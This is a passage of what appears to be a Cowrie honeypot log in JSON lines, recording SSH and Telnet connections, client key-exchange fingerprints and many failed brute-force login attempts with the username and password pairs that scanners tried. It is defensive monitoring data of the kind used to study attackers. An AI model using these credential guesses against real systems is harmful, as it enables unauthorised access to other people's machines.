"aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.123925Z","src_ip":"2.57.121.25","session":"86f4f5ba188a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":36086,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ac2a7a9c1e","protocol":"ssh","message":"New connection: 124.155.125.131:36086 (159.203.135.109:22) [session: b9ac2a7a9c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.161066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.166308Z","src_ip":"124.155.125.131","session":"b9ac2a7a9c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.343970Z","src_ip":"124.155.125.131","session":"b9ac2a7a9c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.531178Z","src_ip":"45.156.87.204","session":"e665da946a9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"221086","message":"login attempt [user/221086] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.610984Z","src_ip":"2.57.121.25","session":"86f4f5ba188a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":34130,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e37e59173af","protocol":"ssh","message":"New connection: 94.26.106.229:34130 (159.203.135.109:22) [session: 7e37e59173af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.756694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.764925Z","src_ip":"94.26.106.229","session":"7e37e59173af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:07.849816Z","src_ip":"94.26.106.229","session":"7e37e59173af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"1234","message":"login attempt [vpn/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:08.022760Z","src_ip":"119.28.114.76","session":"9bebbb539779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1234qwer","message":"login attempt [dev/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:08.082609Z","src_ip":"124.155.125.131","session":"b9ac2a7a9c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:08.108960Z","src_ip":"94.26.106.229","session":"7e37e59173af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":28056,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8feabb9b74","protocol":"ssh","message":"New connection: 2.57.121.112:28056 (159.203.135.109:22) [session: 6c8feabb9b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:08.397631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:08.402422Z","src_ip":"2.57.121.112","session":"6c8feabb9b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:08.507853Z","src_ip":"2.57.121.112","session":"6c8feabb9b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22101993","message":"login attempt [user/22101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:08.717487Z","src_ip":"2.57.121.25","session":"86f4f5ba188a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alvarado","message":"login attempt [admin/alvarado] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.014141Z","src_ip":"2.57.121.112","session":"6c8feabb9b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.195737Z","src_ip":"94.26.106.229","session":"7e37e59173af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.263077Z","src_ip":"124.155.125.131","session":"b9ac2a7a9c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.273002Z","src_ip":"119.28.114.76","session":"9bebbb539779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.720462799072266,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.517023Z","src_ip":"152.42.224.71","session":"7e97a4955ca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48790,"dst_ip":"159.203.135.109","dst_port":22,"session":"67bf7f0658e4","protocol":"ssh","message":"New connection: 45.156.87.204:48790 (159.203.135.109:22) [session: 67bf7f0658e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.674972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.680053Z","src_ip":"45.156.87.204","session":"67bf7f0658e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.762876Z","src_ip":"45.156.87.204","session":"67bf7f0658e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22091993","message":"login attempt [user/22091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.824654Z","src_ip":"2.57.121.25","session":"86f4f5ba188a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":34142,"dst_ip":"159.203.135.109","dst_port":22,"session":"71fff3a1505e","protocol":"ssh","message":"New connection: 94.26.106.229:34142 (159.203.135.109:22) [session: 71fff3a1505e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:09.963856Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:10.012044Z","src_ip":"45.156.87.204","session":"67bf7f0658e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alternative","message":"login attempt [admin/alternative] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:10.119893Z","src_ip":"2.57.121.112","session":"6c8feabb9b74","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:10.180116Z","src_ip":"94.26.106.229","session":"71fff3a1505e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:10.185566Z","src_ip":"94.26.106.229","session":"71fff3a1505e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:10.871241Z","src_ip":"94.26.106.229","session":"71fff3a1505e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22091980","message":"login attempt [user/22091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:10.931271Z","src_ip":"2.57.121.25","session":"86f4f5ba188a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:11.121449Z","src_ip":"45.156.87.204","session":"67bf7f0658e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"already","message":"login attempt [admin/already] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:11.228415Z","src_ip":"2.57.121.112","session":"6c8feabb9b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36668,"dst_ip":"10.17.0.5","dst_port":23,"session":"244c0ccd19ad","protocol":"telnet","message":"New connection: 152.42.224.71:36668 (10.17.0.5:23) [session: 244c0ccd19ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:11.761924Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:11.956650Z","src_ip":"94.26.106.229","session":"71fff3a1505e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22091979","message":"login attempt [user/22091979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:12.037852Z","src_ip":"2.57.121.25","session":"86f4f5ba188a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alphonse","message":"login attempt [admin/alphonse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:12.335730Z","src_ip":"2.57.121.112","session":"6c8feabb9b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":41906,"dst_ip":"159.203.135.109","dst_port":22,"session":"777d4b929188","protocol":"ssh","message":"New connection: 42.200.78.78:41906 (159.203.135.109:22) [session: 777d4b929188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:12.784455Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":34148,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4036cb7d81d","protocol":"ssh","message":"New connection: 94.26.106.229:34148 (159.203.135.109:22) [session: d4036cb7d81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:12.790288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:12.794821Z","src_ip":"42.200.78.78","session":"777d4b929188","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:12.800620Z","src_ip":"94.26.106.229","session":"d4036cb7d81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:12.891698Z","src_ip":"94.26.106.229","session":"d4036cb7d81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.016937Z","src_ip":"42.200.78.78","session":"777d4b929188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.145050Z","src_ip":"2.57.121.25","session":"86f4f5ba188a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brad","password":"brad","message":"login attempt [brad/brad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.156803Z","src_ip":"94.26.106.229","session":"d4036cb7d81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44352,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b6cc5700ebb","protocol":"ssh","message":"New connection: 45.156.87.204:44352 (159.203.135.109:22) [session: 3b6cc5700ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.170528Z"}
{"eventid":"cowrie.session.closed","duration":120.00700736045837,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.185216Z","src_ip":"152.42.224.71","session":"8639ffc9c7d3","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:01:13.341206Z","src_ip":"45.156.87.204","session":"3b6cc5700ebb","protocol":"ssh"}
